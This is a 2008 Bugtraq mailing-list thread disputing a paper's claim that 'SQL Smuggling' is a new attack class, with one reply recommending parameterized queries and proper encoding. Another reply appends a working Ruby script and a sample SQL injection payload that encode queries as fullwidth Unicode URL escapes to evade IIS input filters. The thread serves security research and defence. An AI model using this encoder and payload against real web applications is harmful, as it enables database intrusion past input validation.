Date: Thu, 11 Sep 2008 10:04:39 +0100
From: Gary Oleary-Steele <GaryO@...-1.com>
To: Tim <tim-security@...tinelchicken.org>,
	"douglen@...mail.com" <douglen@...mail.com>
Cc: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: RE: SQL Smuggling

Hi,

First let me start by saying im not writing to flame anyone (or whatever you kids say these days). I know its can be a daunting to release a paper to the security community because if any of its incorrect you're gonna hear about it.

However releasing a paper and claiming it to be a new class (or sub-class) of vulnerability, well im sorry, its like wearing Gold football boots, you better get it right after a statement like that.

If this paper was titled "Bypassing Broken Input Validation Filters" then there would be no problems. However none of what exists in this document is new, in fact most of it is in the Web Application Hackers Handbook or in much older papers. Constructing attackers of all kinds to bypass black list filters is a common duty of the web application tester, also take a look at all of the recent SQL injection worms.

The main thing wrong here is claiming it to be something new, or even claiming it to be a "sub-class",  it not!

Its several methods for encoding sql queries or tricking multi layered input validation/sanitisation routines, none of which are new, all of which are implemented by every pen/app tester i have ever worked with.

It could be a useful reference but i would rename it and drop the "new class" claims.

Regards
Gary

P.S. You mention the unicode trick but dont provide any code or exploit examples. Here is a ruby script to perform the encoding when attacking a bug via IIS (others may also work).


# Ruby Script to generate URL encoded Unicode UTF-8 URL.
# Author: Gary O'leary-Steele of Sec-1 Ltd
# Example:
# The string ' or 1 in (@@version)-- is encoded as and work for the same SQL injection attack
# %u02b9%u0020%uff4f%uff52%u0020%uff11%u0020%uff49%uff4e%u0020%uff08%u0040%u0040%uff56%uff45%uff52%uff53%uff49%uff4f%uff4e%uff09%uff0d%uff0d
#
#

require 'uri'
def unicode_url(string)
  lookuptable = Hash.new
  lookuptable ={
    ' ' => '%u0020',
    '/' => '%u2215',
    '\\' => '%u2215',
    "'" => '%u02b9',
    '"' => '%u0022',
    '>' => '%u003e',
    '<' => '%u003c',
    '#' => '%uff03',
    '!' => '%uff01',
    '$' => '%uff04',
    '*' => '%uff0a',
    '@' => '%u0040',
    '.' => '%uff0e',
    '_' => '%uff3f',
    '(' => '%uff08',
    ')' => '%uff09',
    ',' => '%uff0c',
    '%' => '%u0025',
    '-' => '%uff0d',
    ';' => '%uff1b',
    ':' => '%uff1a',
    '|' => '%uff5c',
    '&' => '%uff06',
    '+' => '%uff0b',
    '=' => '%uff1d',
    'a' => '%uff41',
    'A' => '%uff21',
    'b' => '%uff42',
    'B' => '%uff22',
    'c' => '%uff43',
    'C' => '%uff23',
    'd' => '%uff44',
    'D' => '%uff24',
    'e' => '%uff45',
    'E' => '%uff25',
    'f' => '%uff46',
    'F' => '%uff26',
    'g' => '%uff47',
    'G' => '%uff27',
    'h' => '%uff48',
    'H' => '%uff28',
    'i' => '%uff49',
    'I' => '%uff29',
    'j' => '%uff4a',
    'J' => '%uff2a',
    'k' => '%uff4b',
    'K' => '%uff2b',
    'l' => '%uff4c',
    'L' => '%uff2c',
    'm' => '%uff4d',
    'M' => '%uff2d',
    'n' => '%uff4e',
    'N' => '%uff2e',
    'o' => '%uff4f',
    'O' => '%uff2f',
    'p' => '%uff50',
    'P' => '%uff30',
    'q' => '%uff51',
    'Q' => '%uff31',
    'r' => '%uff52',
    'R' => '%uff32',
    's' => '%uff53',
    'S' => '%uff33',
    't' => '%uff54',
    'T' => '%uff34',
    'u' => '%uff55',
    'U' => '%uff35',
    'v' => '%uff56',
    'V' => '%uff36',
    'w' => '%uff57',
    'W' => '%uff37',
    'x' => '%uff58',
    'X' => '%uff38',
    'y' => '%uff59',
    'Y' => '%uff39',
    'z' => '%uff5a',
    'Z' => '%uff3a',
    '0' => '%uff10',
    '1' => '%uff11',
    '2' => '%uff12',
    '3' => '%uff13',
    '4' => '%uff14',
    '5' => '%uff15',
    '6' => '%uff16',
    '7' => '%uff17',
    '8' => '%uff18',
    '9' => '%uff19'}

  # Convert string to array of chars
  chararray = string.scan(/./)
  newstr = String.new
  chararray.each do |c|
          if lookuptable.has_key? c
                  newstr = newstr + lookuptable[c]
          else
                  newstr = newstr + URI.escape(c)
          end
  end

  return newstr
end

print "Enter string to URL Unicode:"
puts unicode_url(gets)










________________________________________
From: Tim [tim-security@...tinelchicken.org]
Sent: 10 September 2008 00:34
To: douglen@...mail.com
Cc: bugtraq@...urityfocus.com
Subject: Re: SQL Smuggling

> We released a research paper a few months ago, regarding a sub-class
> of SQL Injection that has not received attention till now. The crux is
> that when it comes to SQLi, protection and detection do not typically
> take the architecture into account; this can allow smuggling attacks
> which are not blocked or discovered.
>
> The paper can be found at:
> http://www.ComsecGlobal.com/framework/Upload/SQL_Smuggling.pdf
>
> From the paper:
> "This paper will present a new class of attack, called SQL Smuggling.
> ...


I don't see how this is a new class of attack.  You've merely outlined
some techniques to bypass broken data validation routines.  In SQL
injection, as with any injection vulnerability, the correct way to fix
it is to rely on the syntax of the language to encode data which may be
interpreted as /special/.

Yes, this is database specific.  That's not new.  That's why you need to
rely on the database's routines for treating data as data and not as SQL
syntax.  This is what parameterized statements are for.  You rely on the
database driver or database server itself to correctly separate data
from syntax.  If this is still injectable, then it's a vulnerability in
that particular database, but still isn't a "new class of attack".

Relying on data validation alone will eventually land you in hot water.
You can't always reject last names such as "O'Leary" just because of the
apostrophe.  Correct encoding is the way to *fix* it, and data
validation should only be used to slow down the bad guy if you forgot to
encode something and to enforce business logic.  (Go back and read this
paragraph again.  It's the important one.)

As for attacks against signature validation... uh, don't even go there.
We all know that's a losing battle.  Just look at how bad AV has become.

In summary, your paper would be better presented as a collection of fun
SQL injection attacks against commonly broken data validation routines.

tim
This e-mail and any attached files are confidential and may also be legally privileged. They are intended solely for the intended addressee. If you are not the addressee please e-mail it back to the sender and then immediately, permanently delete it. Do not read, print, re-transmit, store or act in reliance on it. This e-mail may be monitored by Sec-1 Ltd in accordance with current regulations. This footnote also confirms that this e-mail message has been swept for the presence of computer viruses currently known to Sec-1 Ltd. However, the recipient is responsible for virus-checking before opening this message and any attachment. Unless expressly stated to the contrary, any views expressed in this message are those of the individual sender and may not necessarily reflect the views of Sec-1 Ltd.

Powered by blists - more mailing lists